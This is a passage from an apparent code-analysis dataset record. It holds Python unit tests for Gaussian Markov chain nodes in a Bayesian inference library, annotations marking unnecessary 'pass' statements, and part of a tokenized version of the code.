m2[...,n,:,:] = Cov[...,n,:,n+1,:] + np.einsum('...i,...j->...ij',\n m0[...,n,:],\n m0[...,n+1,:])\n self.assertAllClose(m0, u0*np.ones(np.shape(m0)))\n self.assertAllClose(m1, u1*np.ones(np.shape(m1)))\n self.assertAllClose(m2, u2*np.ones(np.shape(m2)))\n\n pass\n\n check(4,1)\n check(4,3)\n\n #\n # Test mu\n #\n\n # Simple\n check(4,3,\n mu=Gaussian(np.random.randn(3),\n random.covariance(3)))\n # Plates\n check(4,3,\n mu=Gaussian(np.random.randn(5,6,3),\n random.covariance(3),\n plates=(5,6)))\n # Plates with moments broadcasted over plates\n check(4,3,\n mu=Gaussian(np.random.randn(3),\n random.covariance(3),\n plates=(5,)))\n check(4,3,\n mu=Gaussian(np.random.randn(1,3),\n random.covariance(3),\n plates=(5,)))\n # Plates broadcasting\n check(4,3,\n plates=(5,),\n mu=Gaussian(np.random.randn(3),\n random.covariance(3),\n plates=()))\n check(4,3,\n plates=(5,),\n mu=Gaussian(np.random.randn(1,3),\n random.covariance(3),\n plates=(1,)))\n\n #\n # Test Lambda\n #\n \n # Simple\n check(4,3,\n Lambda=Wishart(10+np.random.rand(),\n random.covariance(3)))\n # Plates\n check(4,3,\n Lambda=Wishart(10+np.random.rand(),\n random.covariance(3),\n plates=(5,6)))\n # Plates with moments broadcasted over plates\n check(4,3,\n Lambda=Wishart(10+np.random.rand(),\n random.covariance(3),\n plates=(5,)))\n check(4,3,\n Lambda=Wishart(10+np.random.rand(1),\n random.covariance(3),\n plates=(5,)))\n # Plates broadcasting\n check(4,3,\n plates=(5,),\n Lambda=Wishart(10+np.random.rand(),\n random.covariance(3),\n plates=()))\n check(4,3,\n plates=(5,),\n Lambda=Wishart(10+np.random.rand(),\n random.covariance(3),\n plates=(1,)))\n\n #\n # Test A\n #\n\n # Simple\n check(4,3,\n A=GaussianARD(np.random.randn(3,3),\n np.random.rand(3,3),\n shape=(3,),\n plates=(3,)))\n # Plates on time axis\n check(5,3,\n A=GaussianARD(np.random.randn(4,3,3),\n np.random.rand(4,3,3),\n shape=(3,),\n plates=(4,3)))\n # Plates on time axis with broadcasted moments\n check(5,3,\n A=GaussianARD(np.random.randn(1,3,3),\n np.random.rand(1,3,3),\n shape=(3,),\n plates=(4,3)))\n check(5,3,\n A=GaussianARD(np.random.randn(3,3),\n np.random.rand(3,3),\n shape=(3,),\n plates=(4,3)))\n # Plates\n check(4,3,\n A=GaussianARD(np.random.randn(5,6,1,3,3),\n np.random.rand(5,6,1,3,3),\n shape=(3,),\n plates=(5,6,1,3)))\n # Plates with moments broadcasted over plates\n check(4,3,\n A=GaussianARD(np.random.randn(3,3),\n np.random.rand(3,3),\n shape=(3,),\n plates=(5,1,3)))\n check(4,3,\n A=GaussianARD(np.random.randn(1,1,3,3),\n np.random.rand(1,1,3,3),\n shape=(3,),\n plates=(5,1,3)))\n # Plates broadcasting\n check(4,3,\n plates=(5,),\n A=GaussianARD(np.random.randn(3,3),\n np.random.rand(3,3),\n shape=(3,),\n plates=(3,)))\n check(4,3,\n plates=(5,),\n A=GaussianARD(np.random.randn(3,3),\n np.random.rand(3,3),\n shape=(3,),\n plates=(1,1,3)))\n\n #\n # Test v\n #\n \n # Simple\n check(4,3,\n V=Gamma(np.random.rand(1,3),\n np.random.rand(1,3),\n plates=(1,3)))\n check(4,3,\n V=Gamma(np.random.rand(3),\n np.random.rand(3),\n plates=(3,)))\n # Plates\n check(4,3,\n V=Gamma(np.random.rand(5,6,1,3),\n np.random.rand(5,6,1,3),\n plates=(5,6,1,3)))\n # Plates with moments broadcasted over plates\n check(4,3,\n V=Gamma(np.random.rand(1,3),\n np.random.rand(1,3),\n plates=(5,1,3)))\n check(4,3,\n V=Gamma(np.random.rand(1,1,3),\n np.random.rand(1,1,3),\n plates=(5,1,3)))\n # Plates broadcasting\n check(4,3,\n plates=(5,),\n V=Gamma(np.random.rand(1,3),\n np.random.rand(1,3),\n plates=(1,3)))\n check(4,3,\n plates=(5,),\n V=Gamma(np.random.rand(1,1,3),\n np.random.rand(1,1,3),\n plates=(1,1,3)))\n\n #\n # Check with input signals\n #\n\n mu = 2\n Lambda = 3\n A = 4\n B = 5\n v = 6\n inputs = [[-2], [3]]\n X = GaussianMarkovChain([mu], [[Lambda]], [[A,B]], [v], inputs=inputs)\n V = (np.array([[v*A**2, -v*A, 0],\n [-v*A, v*A**2, -v*A],\n [0, -v*A, 0]]) +\n np.array([[Lambda, 0, 0],\n [0, v, 0],\n [0, 0, v]]))\n m = (np.array([Lambda*mu, 0, 0]) +\n np.array([0, v*B*inputs[0][0], v*B*inputs[1][0]]) -\n np.array([v*A*B*inputs[0][0], v*A*B*inputs[1][0], 0]))\n Cov = np.linalg.inv(V)\n mean = np.dot(Cov, m)\n\n X.update()\n u = X.get_moments()\n\n self.assertAllClose(u[0], mean[:,None])\n self.assertAllClose(u[1] - u[0][...,None,:]*u[0][...,:,None],\n Cov[(0,1,2),(0,1,2),None,None])\n self.assertAllClose(u[2] - u[0][...,:-1,:,None]*u[0][...,1:,None,:],\n Cov[(0,1),(1,2),None,None])\n\n pass", "metadata": "root.TestGaussianMarkovChain.test_message_to_child", "header": "['class', 'TestGaussianMarkovChain', '(', 'TestCase', ')', ':', '___EOS___']", "index": 198 }, { "content": " def test_plates_from_parents(self):\n \"\"\"\n Test that VaryingGaussianMarkovChain deduces plates correctly\n \"\"\"\n def check(plates_X,\n plates_mu=(),\n plates_Lambda=(),\n plates_B=(),\n plates_S=(),\n plates_v=()):\n \n D = 3\n K = 2\n N = 4\n\n np.random.seed(42)\n mu = Gaussian(np.random.randn(*(plates_mu+(D,))),\n random.covariance(D))\n Lambda = Wishart(D+np.ones(plates_Lambda),\n random.covariance(D))\n B = GaussianARD(np.random.randn(*(plates_B+(D,D,K))),\n 1+np.random.rand(*(plates_B+(D,D,K))),\n shape=(D,K),\n plates=plates_B+(D,))\n S = GaussianARD(np.random.randn(*(plates_S+(N,K))),\n 1+np.random.rand(*(plates_S+(N,K))),\n shape=(K,),\n plates=plates_S+(N,))\n v = Gamma(1+np.random.rand(*(plates_v+(1,D))),\n 1+np.random.rand(*(plates_v+(1,D))))\n X = VaryingGaussianMarkovChain(mu, Lambda, B, S, v, name=\"X\")\n self.assertEqual(plates_X, X.plates,\n msg=\"Incorrect plates deduced\")\n pass\n\n check(())\n check((2,3),\n plates_mu=(2,3))\n check((6,7),\n plates_Lambda=(6,7))\n check((2,3),\n plates_B=(2,3))\n check((2,3),\n plates_S=(2,3))\n check((2,3),\n plates_v=(2,3))\n pass", "metadata": "root.TestVaryingGaussianMarkovChain.test_plates_from_parents", "header": "['class', 'TestVaryingGaussianMarkovChain', '(', 'TestCase', ')', ':', '___EOS___']", "index": 630 }, { "content": " def test_message_to_child(self):\n\n # A very simple check before the more complex ones:\n # 1-D process, k=1, fixed constant parameters\n m = 1.0\n l = 4.0\n b = 2.0\n s = [3.0, 8.0]\n v = 5.0\n X = VaryingGaussianMarkovChain([m],\n [[l]],\n [[[b]]],\n [[s[0]],[s[1]]],\n [v])\n (u0, u1, u2) = X._message_to_child()\n C = np.array([[l+b**2*s[0]**2*v, -b*s[0]*v, 0],\n [ -b*s[0]*v, v+b**2*s[1]**2*v, -b*s[1]*v],\n [ 0, -b*s[1]*v, v]])\n Cov = np.linalg.inv(C)\n m0 = np.dot(Cov, [[l*m], [0], [0]])\n m1 = np.diag(Cov)[:,None,None] + m0[:,:,None]**2\n m2 = np.diag(Cov, k=1)[:,None,None] + m0[1:,:,None]*m0[:-1,:,None]\n self.assertAllClose(m0, u0)\n self.assertAllClose(m1, u1)\n self.assertAllClose(m2, u2)\n\n def check(N, D, K, plates=None, mu=None, Lambda=None, B=None, S=None, V=None):\n if mu is None:\n mu = np.random.randn(D)\n if Lambda is None:\n Lambda = random.covariance(D)\n if B is None:\n B = np.random.randn(D,D,K)\n if S is None:\n S = np.random.randn(N-1,K)\n if V is None:\n V = np.random.rand(D)\n X = VaryingGaussianMarkovChain(mu,\n Lambda,\n B,\n S,\n V,\n plates=plates,\n n=N)\n (u0, u1, u2) = X._message_to_child()\n (mu, mumu) = X.parents[0].get_moments()\n (Lambda, _) = X.parents[1].get_moments()\n (b, bb) = X.parents[2].get_moments()\n (s, ss) = X.parents[3].get_moments()\n (v, _) = X.parents[4].get_moments()\n v = v * np.ones((N-1,D))\n #V = np.atleast_3d(v)[...,-1,:,None]*np.identity(D)\n plates_C = X.plates\n plates_mu = X.plates\n C = np.zeros(plates_C + (N,D,N,D))\n plates_mu = np.shape(mu)[:-1]\n m = np.zeros(plates_mu + (N,D))\n m[...,0,:] = np.einsum('...ij,...j->...i', Lambda, mu)\n #m = np.reshape(m, plates_mu + (N*D,))\n A = np.einsum('...dik,...nk->...ndi', b, s)\n AA = np.einsum('...dikjl,...nkl->...ndij', bb, ss)\n C[...,0,:,0,:] = Lambda + np.einsum('...dij,...d->...ij',\n AA[...,0,:,:,:],\n v[...,0,:])\n for n in range(1,N-1):\n C[...,n,:,n,:] = (np.einsum('...dij,...d->...ij',\n AA[...,n,:,:,:],\n v[...,n,:])\n + v[...,n,:,None] * np.identity(D))\n for n in range(N-1):\n C[...,n,:,n+1,:] = -np.einsum('...di,...d->...id',\n A[...,n,:,:],\n v[...,n,:])\n C[...,n+1,:,n,:] = -np.einsum('...di,...d->...di',\n A[...,n,:,:],\n v[...,n,:])\n C[...,-1,:,-1,:] = v[...,-1,:,None]*np.identity(D)\n C = np.reshape(C, plates_C+(N*D,N*D))\n Cov = np.linalg.inv(C)\n Cov = np.reshape(Cov, plates_C+(N,D,N,D))\n m0 = np.einsum('...minj,...nj->...mi', Cov, m)\n m1 = np.zeros(plates_C+(N,D,D))\n m2 = np.zeros(plates_C+(N-1,D,D))\n for n in range(N):\n m1[...,n,:,:] = Cov[...,n,:,n,:] + np.einsum('...i,...j->...ij',\n m0[...,n,:],\n m0[...,n,:])\n for n in range(N-1):\n m2[...,n,:,:] = Cov[...,n,:,n+1,:] + np.einsum('...i,...j->...ij',\n m0[...,n,:],\n m0[...,n+1,:])\n self.assertAllClose(m0, u0*np.ones(np.shape(m0)))\n self.assertAllClose(m1, u1*np.ones(np.shape(m1)))\n self.assertAllClose(m2, u2*np.ones(np.shape(m2)))\n\n pass\n\n check(2,1,1)\n check(2,3,1)\n check(2,1,3)\n check(4,3,2)\n\n #\n # Test mu\n #\n\n # Simple\n check(4,3,2,\n mu=Gaussian(np.random.randn(3),\n random.covariance(3)))\n # Plates\n check(4,3,2,\n mu=Gaussian(np.random.randn(5,6,3),\n random.covariance(3),\n plates=(5,6)))\n # Plates with moments broadcasted over plates\n check(4,3,2,\n mu=Gaussian(np.random.randn(3),\n random.covariance(3),\n plates=(5,)))\n check(4,3,2,\n mu=Gaussian(np.random.randn(1,3),\n random.covariance(3),\n plates=(5,)))\n # Plates broadcasting\n check(4,3,2,\n plates=(5,),\n mu=Gaussian(np.random.randn(3),\n random.covariance(3),\n plates=()))\n check(4,3,2,\n plates=(5,),\n mu=Gaussian(np.random.randn(1,3),\n random.covariance(3),\n plates=(1,)))\n\n #\n # Test Lambda\n #\n \n # Simple\n check(4,3,2,\n Lambda=Wishart(10+np.random.rand(),\n random.covariance(3)))\n # Plates\n check(4,3,2,\n Lambda=Wishart(10+np.random.rand(),\n random.covariance(3),\n plates=(5,6)))\n # Plates with moments broadcasted over plates\n check(4,3,2,\n Lambda=Wishart(10+np.random.rand(),\n random.covariance(3),\n plates=(5,)))\n check(4,3,2,\n Lambda=Wishart(10+np.random.rand(1),\n random.covariance(3),\n plates=(5,)))\n # Plates broadcasting\n check(4,3,2,\n plates=(5,),\n Lambda=Wishart(10+np.random.rand(),\n random.covariance(3),\n plates=()))\n check(4,3,2,\n plates=(5,),\n Lambda=Wishart(10+np.random.rand(),\n random.covariance(3),\n plates=(1,)))\n\n #\n # Test B\n #\n\n # Simple\n check(4,3,2,\n B=GaussianARD(np.random.randn(3,3,2),\n np.random.rand(3,3,2),\n shape=(3,2),\n plates=(3,)))\n # Plates\n check(4,3,2,\n B=GaussianARD(np.random.randn(5,6,3,3,2),\n np.random.rand(5,6,3,3,2),\n shape=(3,2),\n plates=(5,6,3)))\n # Plates with moments broadcasted over plates\n check(4,3,2,\n B=GaussianARD(np.random.randn(3,3,2),\n np.random.rand(3,3,2),\n shape=(3,2),\n plates=(5,3)))\n check(4,3,2,\n B=GaussianARD(np.random.randn(1,3,3,2),\n np.random.rand(1,3,3,2),\n shape=(3,2),\n plates=(5,3)))\n # Plates broadcasting\n check(4,3,2,\n plates=(5,),\n B=GaussianARD(np.random.randn(3,3,2),\n np.random.rand(3,3,2),\n shape=(3,2),\n plates=(3,)))\n check(4,3,2,\n plates=(5,),\n B=GaussianARD(np.random.randn(3,3,2),\n np.random.rand(3,3,2),\n shape=(3,2),\n plates=(1,3)))\n\n #\n # Test S\n #\n \n # Simple\n check(4,3,2,\n S=GaussianARD(np.random.randn(4-1,2),\n np.random.rand(4-1,2),\n shape=(2,),\n plates=(4-1,)))\n # Plates\n check(4,3,2,\n S=GaussianARD(np.random.randn(5,6,4-1,2),\n np.random.rand(5,6,4-1,2),\n shape=(2,),\n plates=(5,6,4-1,)))\n # Plates with moments broadcasted over plates\n check(4,3,2,\n S=GaussianARD(np.random.randn(4-1,2),\n np.random.rand(4-1,2),\n shape=(2,),\n plates=(5,4-1,)))\n check(4,3,2,\n S=GaussianARD(np.random.randn(1,4-1,2),\n np.random.rand(1,4-1,2),\n shape=(2,),\n plates=(5,4-1,)))\n # Plates broadcasting\n check(4,3,2,\n plates=(5,),\n S=GaussianARD(np.random.randn(4-1,2),\n np.random.rand(4-1,2),\n shape=(2,),\n plates=(4-1,)))\n check(4,3,2,\n plates=(5,),\n S=GaussianARD(np.random.randn(4-1,2),\n np.random.rand(4-1,2),\n shape=(2,),\n plates=(1,4-1,)))\n\n #\n # Test v\n #\n \n # Simple\n check(4,3,2,\n V=Gamma(np.random.rand(1,3),\n np.random.rand(1,3),\n plates=(1,3)))\n check(4,3,2,\n V=Gamma(np.random.rand(3),\n np.random.rand(3),\n plates=(3,)))\n # Plates\n check(4,3,2,\n V=Gamma(np.random.rand(5,6,1,3),\n np.random.rand(5,6,1,3),\n plates=(5,6,1,3)))\n # Plates with moments broadcasted over plates\n check(4,3,2,\n V=Gamma(np.random.rand(1,3),\n np.random.rand(1,3),\n plates=(5,1,3)))\n check(4,3,2,\n V=Gamma(np.random.rand(1,1,3),\n np.random.rand(1,1,3),\n plates=(5,1,3)))\n # Plates broadcasting\n check(4,3,2,\n plates=(5,),\n V=Gamma(np.random.rand(1,3),\n np.random.rand(1,3),\n plates=(1,3)))\n check(4,3,2,\n plates=(5,),\n V=Gamma(np.random.rand(1,1,3),\n np.random.rand(1,1,3),\n plates=(1,1,3)))\n\n #\n # Uncertainty in both B and S\n #\n check(4,3,2,\n B=GaussianARD(np.random.randn(3,3,2),\n np.random.rand(3,3,2),\n shape=(3,2),\n plates=(3,)),\n S=GaussianARD(np.random.randn(4-1,2),\n np.random.rand(4-1,2),\n shape=(2,),\n plates=(4-1,)))\n \n pass", "metadata": "root.TestVaryingGaussianMarkovChain.test_message_to_child", "header": "['class', 'TestVaryingGaussianMarkovChain', '(', 'TestCase', ')', ':', '___EOS___']", "index": 678 } ]
[ { "span": "pass", "start_line": 347, "start_column": 12, "end_line": 347, "end_column": 16 }, { "span": "pass", "start_line": 549, "start_column": 8, "end_line": 549, "end_column": 12 }, { "span": "pass", "start_line": 663, "start_column": 12, "end_line": 663, "end_column": 16 }, { "span": "pass", "start_line": 676, "start_column": 8, "end_line": 676, "end_column": 12 }, { "span": "pass", "start_line": 773, "start_column": 12, "end_line": 773, "end_column": 16 }, { "span": "pass", "start_line": 982, "start_column": 8, "end_line": 982, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "necessar", "y_", "pass_", "[SEP]_", "class_", "Test", "Gaussian", "Markov", "Chain_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "message", "\\u", "to", "\\u", "child_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "the", " ", "updat", "ing", " ", "of", " ", "Gaussian", "Markov", "Chain", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Check", " ", "tha", "t", " ", "the", " ", "moments", " ", "and", " ", "the", " ", "lower", " ", "bound", " ", "contribution", " ", "are", " ", "compute", "d", "\\", "10", ";", " ", " ", " ", " ", "correct", "ly", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "Add", " ", "plates", " ", "and", " ", "missi", "ng", " ", "values", "!", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Dimen", "sion", "ali", "ties_", "\\u\\u\\uNL\\u\\u\\u_", "D_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "N_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "Y_", ",_", "X_", ",_", "Mu", "_", ",_", "Lambda_", ",_", "A_", ",_", "V_", ")_", "=_", "self_", "._", "create", "\\u", "model_", "(_", "N_", ",_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Infer", "ence", " ", "with", " ", "arbitra", "ry", " ", "observations_", "\\u\\u\\uNL\\u\\u\\u_", "y_", "=_", "np_", "._", "random_", "._", "randn_", "(_", "N_", ",_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Y_", "._", "observe", "_", "(_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "._", "update_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "x", "\\u", "vb_", ",_", "xn", "xn", "\\u", "vb_", ",_", "xp", "xn", "\\u", "vb_", ")_", "=_", "X_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "parameter", " ", "moments_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "mu", "0_", ",_", "mum", "u0", "_", ")_", "=_", "Mu", "_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "ico", "v0_", ",_", "logd", "et", "0_", ")_", "=_", "Lambda_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "a_", ",_", "aa_", ")_", "=_", "A_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "ico", "v", "\\u", "x_", ",_", "logd", "et", "x_", ")_", "=_", "V_", "._", "get", "\\u", "moments_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ico", "v", "\\u", "x_", "=_", "np_", "._", "diag_", "(_", "ico", "v", "\\u", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Prior", " ", "precision_", "\\u\\u\\uNL\\u\\u\\u_", "Z_", "=_", "np_", "._", "einsum_", "(_", "'...", "ki", "j", ",...", "kk", "->", "...", "ij", "'_", ",_", "aa_", ",_", "ico", "v", "\\u", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "U", "\\u", "diag_", "=_", "[_", "ico", "v0_", "+_", "Z_", "]_", "+_", "(_", "N_", "-_", "2_", ")_", "*_", "[_", "ico", "v", "\\u", "x_", "+_", "Z_", "]_", "+_", "[_", "ico", "v", "\\u", "x_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "U", "\\u", "super_", "=_", "(_", "N_", "-_", "1_", ")_", "*_", "[_", "-_", "np_", "._", "dot_", "(_", "a_", "._", "T_", ",_", "ico", "v", "\\u", "x_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "U_", "=_", "misc_", "._", "block", "\\u", "band", "ed_", "(_", "U", "\\u", "diag_", ",_", "U", "\\u", "super_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Prior", " ", "mean_", "\\u\\u\\uNL\\u\\u\\u_", "mu", "\\u", "prior_", "=_", "np_", "._", "zeros_", "(_", "D_", "*_", "N_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mu", "\\u", "prior_", "[_", ":_", "D_", "]_", "=_", "np_", "._", "dot_", "(_", "ico", "v0_", ",_", "mu", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Data", " _", "\\u\\u\\uNL\\u\\u\\u_", "Cov", "_", "=_", "np_", "._", "linalg_", "._", "inv_", "(_", "U_", "+_", "np_", "._", "identity_", "(_", "D_", "*_", "N_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mu_", "=_", "np_", "._", "dot_", "(_", "Cov", "_", ",_", "mu", "\\u", "prior_", "+_", "y_", "._", "flatten_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Moment", "s_", "\\u\\u\\uNL\\u\\u\\u_", "xx_", "=_", "mu_", "[_", ":_", ",_", "np_", "._", "newaxis_", "]_", "*_", "mu_", "[_", "np_", "._", "newaxis_", ",_", ":_", "]_", "+_", "Cov", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mu_", "=_", "np_", "._", "reshape_", "(_", "mu_", ",_", "(_", "N_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xx_", "=_", "np_", "._", "reshape_", "(_", "xx_", ",_", "(_", "N_", ",_", "D_", ",_", "N_", ",_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "results_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "x", "\\u", "vb_", ",_", "mu_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "Inco", "rrect", " ", "mean", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "N_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "All", "Close_", "(_", "xn", "xn", "\\u", "vb_", "[_", "n_", ",_", ":_", ",_", ":_", "]_", ",_", "xx_", "[_", "n_", ",_", ":_", ",_", "n_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "Inco", "rrect", " ", "second", " ", "moment", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "N_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "All", "Close_", "(_", "xp", "xn", "\\u", "vb_", "[_", "n_", ",_", ":_", ",_", ":_", "]_", ",_", "xx_", "[_", "n_", ",_", ":_", ",_", "n_", "+_", "1_", ",_", ":_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "Inco", "rrect", " ", "lag", "ged", " ", "second", " ", "moment", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Compute", " ", "the", " ", "entr", "opy", " ", "H", "(", "X", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lde", "t_", "=_", "linalg_", "._", "logd", "et", "\\u", "cov_", "(_", "Cov", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "H_", "=_", "random_", "._", "gauss", "ian", "\\u", "entropy_", "(_", "-_", "lde", "t_", ",_", "N_", "*_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Compute", " ", "<", "log", " ", "p", "(", "X", "|.", "..", ")>", "_", "\\u\\u\\uNL\\u\\u\\u_", "xx_", "=_", "np_", "._", "reshape_", "(_", "xx_", ",_", "(_", "N_", "*_", "D_", ",_", "N_", "*_", "D_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mu_", "=_", "np_", "._", "reshape_", "(_", "mu_", ",_", "(_", "N_", "*_", "D_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lde", "t_", "=_", "-_", "logd", "et", "0_", "-_", "np_", "._", "sum_", "(_", "np_", "._", "ones_", "(_", "(_", "N_", "-_", "1_", ",_", "D_", ")_", ")_", "*_", "logd", "et", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "=_", "random_", "._", "gauss", "ian", "\\u", "logp", "df_", "(_", "np_", "._", "einsum_", "(_", "'...", "ij", ",...", "ij", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "xx_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "U_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "einsum_", "(_", "'...", "i", ",...", "i", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mu", "\\u", "prior_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "einsum_", "(_", "'...", "ij", ",...", "ij", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mum", "u0", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ico", "v0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "-_", "lde", "t_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "N_", "*_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "VB", " ", "bound", " ", "from", " ", "the", " ", "net_", "\\u\\u\\uNL\\u\\u\\u_", "l_", "=_", "X_", "._", "lower", "\\u", "bound", "\\u", "contribution", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "All", "Close_", "(_", "l_", ",_", "H_", "+_", "P_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Compute", " ", "the", " ", "true", " ", "bound", " ", "<", "log", " ", "p", "(", "X", "|.", "..", ")>", " ", "+", " ", "H", "(", "X", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Simple", " ", "tests_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "check_", "(_", "N_", ",_", "D_", ",_", "plates", "_", "=_", "None_", ",_", "mu_", "=_", "None_", ",_", "Lambda_", "=_", "None_", ",_", "A_", "=_", "None_", ",_", "V_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "mu_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mu_", "=_", "np_", "._", "random_", "._", "randn_", "(_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "Lambda_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Lambda_", "=_", "random_", "._", "covariance_", "(_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "A_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "A_", "=_", "np_", "._", "random_", "._", "randn_", "(_", "D_", ",_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "V_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "V_", "=_", "np_", "._", "random_", "._", "rand_", "(_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "X_", "=_", "Gaussian", "Markov", "Chain_", "(_", "mu_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Lambda_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "A_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "V_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "plates", "_", "=_", "plates", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "n_", "=_", "N_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "u0", "_", ",_", 